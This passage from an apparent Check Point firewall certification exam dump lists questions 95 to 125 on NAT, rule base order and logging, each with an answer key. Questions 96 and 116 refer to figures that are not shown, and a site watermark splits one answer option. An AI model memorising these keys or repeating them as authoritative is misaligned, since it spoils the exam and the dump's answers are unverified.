Correct Answer: C QUESTION 95
In a distributed management environment, the administrator has removed all default check boxes from the Policy / Global Properties / Firewall tab. In order for the Security Gateway to send logs to the Security Management Server, an explicit rule must be created to allow the Security Gateway to communicate to the Security Management Server on port ______.
A. 259
B. 257
C. 900
D. 256

Correct Answer: B QUESTION 96
Examine the following Security Policy. What, if any, changes could be made to accommodate Rule 4?

A. Nothing at all
B. Modify the Source or Destination columns in Rule 4
C. Remove the service HTTPS from the Service column in Rule A
D. Modify the VPN column in Rule 2 to limit access to specific traffic

Correct Answer: D
QUESTION 97
A Security Policy has several database versions. What configuration remains the same no matter which version is used?
A. Rule Bases_5_0.fws
B. Internal Certificate Authority (ICA) certificate
C. Fwauth.NDB
D. Objects_5_0.C

Correct Answer: B
QUESTION 98
You are working with multiple Security Gateways that enforce a common set of rules. To minimize the number of policy packages, which one of the following would you choose to do?
A. Install a separate local Security Management Server and SmartConsole for each remote Security Gateway.
B. Create a separate Security Policy package for each remote Security Gateway and specify Install On / Gateways.
C. Create a single Security Policy package with Install On / Target defined whenever a unique rule is required for a specific Gateway.
D. Run separate SmartDashbord instance to login and configure each Security Gateway directly.

Correct Answer: C QUESTION 99
Which rules are not applied on a first-match basis?
A. Cleanup
B. User Authentication
C. Session Authentication
D. Client Authentication

Correct Answer: B QUESTION 100
Several Security Policies can be used for different installation targets. The firewall protecting Human Resources’ servers should have a unique Policy Package. These rules may only be installed on this machine and not accidentally on the Internet firewall. How can this be configured?
A. A Rule Base is always installed on all possible targets. The rules to be installed on a firewall are defined by the selection in the row Install On of the Rule Base.
B. When selecting the correct firewall in each line of the row Install On of the Rule Base, only this firewall is shown in the list of possible installation targets after selecting Policy > Install.
C. In the SmartDashboard main menu go to Policy / Policy Installation / Targets and select the correct firewall to be put into the list via Specific Targets.
D. A Rule Base can always be installed on any Check Point firewall object It is necessary to select the appropriate target directly after selecting Policy > Install.

Correct Answer: C QUESTION 101
Which of these security policy changes optimize Security Gateway performance?
A. Use Automatic NAT rules instead of Manual NAT rules whenever possible
B. Putting the least-used rule at the top of the Rule Base
C. Using groups within groups in the manual NAT Rule Base
D. Using domain objects in rules when possible

Correct Answer: A QUESTION 102
Your perimeter Security Gateway’s external IP is 200.200.200.3. Your network diagram shows: RequireD. Allow only network 192.168.10.0 and 192.168.20.0 to go out to the Internet, using 200.

200.200.5.
The local network 192.168.1.0/24 needs to use 200.200.200.3 to go out to the Internet.
Assuming you enable all the settings in the NAT page of Global Properties, how could you achieve these requirements?
A. Create a network object 192.168.0.0/16. Enable Hide NAT on the NAT page. Enter 200.200.200.5 as the hiding IP address. Add and ARP entry for 200.200.200.5 for the MAC “Pass Any Exam. Any Time.”
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Checkpoint 156-215.75 Exam
address of 200.200.200.3.

B. Create network objects for 192.168.10.0/24 and 192.168.20.0/24. Enable Hide NAT on both network objects, using 200.200.200.5 as hiding IP address Add an ARP entry for 200.200.200.3 for the MAC address of 200.200.200.5.
C. Create an Address Range object, starting from 192.168.10.1 to 192.168.20.254. Enable Hide NAT on the NAT page of the address range object. Enter Hiding IP address 200.200.200.5. Add an ARP entry for 200.200.200.5 for the MAC address of 200.200.200.3.
D. Create two network objects: 192.168.10.0/24. and 192.168.20.0/24. Add the two network objects. Create a manual NAT rule like the following Original source group object; Destination any Service -any, Translated source 200.200.200.5; Destination original, Service original.

Correct Answer: C
QUESTION 103
You enable Hide NAT on the network object, 10.1.1.0 behind the Security Gateway’s external interface. You browse to from host, 10.1.1.10 successfully. You enable a log on the rule that allows 10.1.1.0 to exit the network. How many log entries do you see for that connection in SmartView Tracker?
A. Only one, outbound
B. Two, one for outbound, one for inbound
C. Only one, inbound
D. Two, both outbound, one for the real IP connection and one for the NAT IP connection
Correct Answer: A QUESTION 104
Which of the following statements BEST describes Check Point’s Hide Network Address Translation method?
A. Many-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation
B. Translates many destination IP addresses into one destination IP address
C. Translates many source IP addresses into one source IP address
D. One-to-one NAT which implements PAT (Port Address Translation) for accomplishing both Source and Destination IP address translation

Correct Answer: C
QUESTION 105
Which Check Point address translation method allows an administrator to use fewer ISP-assigned IP addresses than the number of internal hosts requiring Internet connectivity?
A. Static Destination
B. Hide
C. Dynamic Destination
D. Static Source

Correct Answer: B
QUESTION 106
NAT can be implemented on which of the following lists of objects?
A. Host, Network
B. Host, User
C. Domain, Network
D. Network, Dynamic Object

Correct Answer: A
QUESTION 107
You want to implement Static Destination NAT in order to provide external, Internet users access to an internal Web Server that has a reserved (RFC 1918) IP address. You have an unused valid IP address on the network between your Security Gateway and ISP router. You control the router that sits between the external interface of the firewall and the Internet. What is an alternative configuration if proxy ARP cannot be used on your Security Gateway?
A. Place a static host route on the firewall for the valid IP address to the internal Web server.
B. Place a static ARP entry on the ISP router for the valid IP address to the firewall’s external address.
C. Publish a proxy ARP entry on the ISP router instead of the firewall for the valid IP address.
D. Publish a proxy ARP entry on the internal Web server instead of the firewall for the valid IP address.

Correct Answer: B
QUESTION 108
After implementing Static Address Translation to allow Internet traffic to an internal Web Server on your DMZ, you notice that any NATed connections to that machine are being dropped by anti- spoofing protections. Which of the following is the MOST LIKELY cause?
A. The Global Properties setting Translate destination on client side is checked. But the topology on the external interface is set to External.Change topology to Others +.
B. The Global Properties setting Translate destination on client side is unchecked. But the topology on the external interface is set to Others +. Change topology to External
C. The Global Properties setting Translate destination on client side is checked But the topology on the DMZ interface is set to Internal -Network defined by IP and Mask Uncheck the Global Properties setting Translate destination on client side
D. The Global Properties setting Translate destination on client side is unchecked. But the topology on the DMZ interface is set to Internal – Network defined by IP and Mask. Check the Global Properties setting Translate destination on client side.

Correct Answer: D
QUESTION 109
Which NAT option applicable for Automatic NAT applies to Manual NAT as well?
A. Allow bi-directional NAT
B. Automatic ARP configuration
C. Enable IP Pool NAT
D. Translate destination on client-side

Correct Answer: D
QUESTION 110
Your main internal network 10.10.10.0/24 allows all traffic to the Internet using Hide NAT. You also have a small network 10.10.20.0/24 behind the internal router. You want to configure the kernel to translate the source address only when network 10.10.20.0 tries to access the Internet for HTTP, SMTP, and FTP services. Which of the following configurations will allow this network to access the Internet?
A. Configure three Manual Static NAT rules for network 10.10.20.0/24, one for each service
B. Configure one Manual Hide NAT rule for HTTP, FTP, and SMTP services for network 10.10.20.0/24
C. Configure Automatic Hide NAT on network 10.10.20.0/24 and then edit the Service column in the NAT Rule Base on the automatic rule
D. Configure Automatic Static NAT on network 10.10.20.0/24
Correct Answer: B
QUESTION 111
You have three servers located in a DMZ, using private IP addresses. You want internal users from
10.10.10.x
to access the DMZ servers by public IP addresses. Internal_net 10.10.10.x is configured for Hide NAT behind the Security Gateway’s external interface.

A.
When connecting to the Internet, configure manual Static NAT rules to translate the DMZ servers

B.
When the source is the internal network 10.10.10.x, configure manual static NAT rules to translate the DMZ servers.

C.
When connecting to internal network 10 10.10 x. configure Hide NAT for the DMZ servers.

D.
When connecting to the internal network 10.10.10x, configure Hide Nat for the DMZ network behind the DMZ interface of the Security Gateway
What is the best configuration for 10.10.10.x users to access the DMZ servers, using the DMZ servers’ public IP addresses?
Correct Answer: B
QUESTION 112
A host on the Internet initiates traffic to the Static NAT IP of your Web server behind the Security Gateway. With the default settings in place for NAT, the initiating packet will translate the_________.
A. source on client side
B. destination on server side
C. destination on client side
D. source on server side

Correct Answer: C
QUESTION 113
A Web server behind the Security Gateway is set to Automatic Static NAT. Client side NAT is not checked in the Global Properties. A client on the Internet initiates a session to the Web Server. Assuming there is a rule allowing this traffic, what other configuration must be done to allow the traffic to reach the Web server?
A. Automatic ARP must be unchecked in the Global Properties.
B. A static route must be added on the Security Gateway to the internal host.
C. Nothing else must be configured.
D. A static route for the NAT IP must be added to the Gateway’s upstream router.
Correct Answer: B
QUESTION 114
When translation occurs using automatic Hide NAT, what also happens?
A. Nothing happens.
B. The source port is modified.
C. The destination port is modified.
D. The destination is modified.

Correct Answer: B
QUESTION 115
The fw monitor utility is used to troubleshoot which of the following problems?
A. Phase two key negotiation
B. User data base corruption
C. Address translation
D. Log Consolidation Engine

Correct Answer: C
QUESTION 116
Looking at the SYN packets in the Wireshark output, select the statement that is true about NAT.

A. There is not enough information provided in the Wireshark capture to determine NAT settings.
B. This is an example hide NAT.
C. There is an example of Static NAT and translate destination on client side unchecked in Global Properties.
D. This is an example of Static NAT and Translate destination on client side checked in Global Properties.

Correct Answer: D
QUESTION 117
In SmartDashboard, Translate destination on client side is checked in Global Properties. When Network Address Translation is used:
A. It is necessary to add a static route to the Gateway’s routing table.
B. The Security Gateway’s ARP file must be modified.
C. It is not necessary to add a static route to the Gateway’s routing table.
D. VLAN tagging cannot be defined for any hosts protected by the Gateway.

Correct Answer: C QUESTION 118
Static NAT connections, by default, translate on which firewall kernel inspection point?
A. Post-inbound
B. Eitherbound
C. Inbound
D. Outbound

Correct Answer: C QUESTION 119
In a Hide NAT connection outbound, which portion of the packet is modified?
A. Source IP address and destination port
B. Destination IP address and destination port
C. Source IP address and source port
D. Destination IP address and destination port

Correct Answer: C QUESTION 120
You are MegaCorp’s Security Administrator. There are various network objects which must be NATed. Some of them use the Automatic Hide NAT method, while others use the Automatic Static NAT method. What is the order of the rules if both methods are used together? Give the best answer.
A. The Administrator decides on the order of the rules by shifting the corresponding rules up and down.
B. The Static NAT rules have priority over the Hide NAT rules and the NAT on a node has priority over the NAT on a network or an address range
C. The Hide NAT rules have priority over the Static NAT rules and the NAT on a node has priority over the NAT on a network or an address range
D. The position of the rules depends on the time of their creation. The rules created first are placed at the top; rules created later are placed successively below the others.

Correct Answer: B QUESTION 121
Which answers are TRUE? Automatic Static NAT CANNOT be used when: i) NAT decision is based on the destination port ii) Source and Destination IP both have to be translated iii) The NAT rule should only be installed on a dedicated Gateway only iv) NAT should be performed on the server side
A. (i), (ii), and (iii)
B. (i), and (ii)
C. (ii) and (iv)
D. only (i)

Correct Answer: D QUESTION 122
After filtering a fw monitor trace by port and IP, a packet is displayed three times; in the i, I, and o inspection points, but not in the O inspection point. Which is the likely source of the issue?
A. The packet has been sent out through a VPN tunnel unencrypted.
B. An IPSO ACL has blocked the outbound passage of the packet.
C. A SmartDefense module has blocked the packet
D. It is an issue with NAT

Correct Answer: D
QUESTION 123
A marketing firm’s networking team is trying to troubleshoot user complaints regarding access to audio-streaming material from the Internet. The networking team asks you to check the object and rule configuration settings for the perimeter Security Gateway. Which SmartConsole application should you use to check these objects and rules?
A. SmartView Tracker
B. SmartView Status
C. SmartView Monitor
D. SmartDashboard

Correct Answer: D
QUESTION 124
Which of the following is a viable consideration when determining Rule Base order?
A. Grouping authentication rules with address-translation rules
B. Grouping rules by date of creation
C. Grouping reject and drop rules after the Cleanup Rule
D. Grouping functionally related rules together

Correct Answer: D
QUESTION 125
Which of the following is a viable consideration when determining Rule Base order?
A. Adding SAM rules at the top of the Rule Base
B. Placing frequently accessed rules before less frequently accessed rules
C. Grouping rules by date of creation
D. Grouping IPS rules with dynamic drop rules
Correct Answer: B

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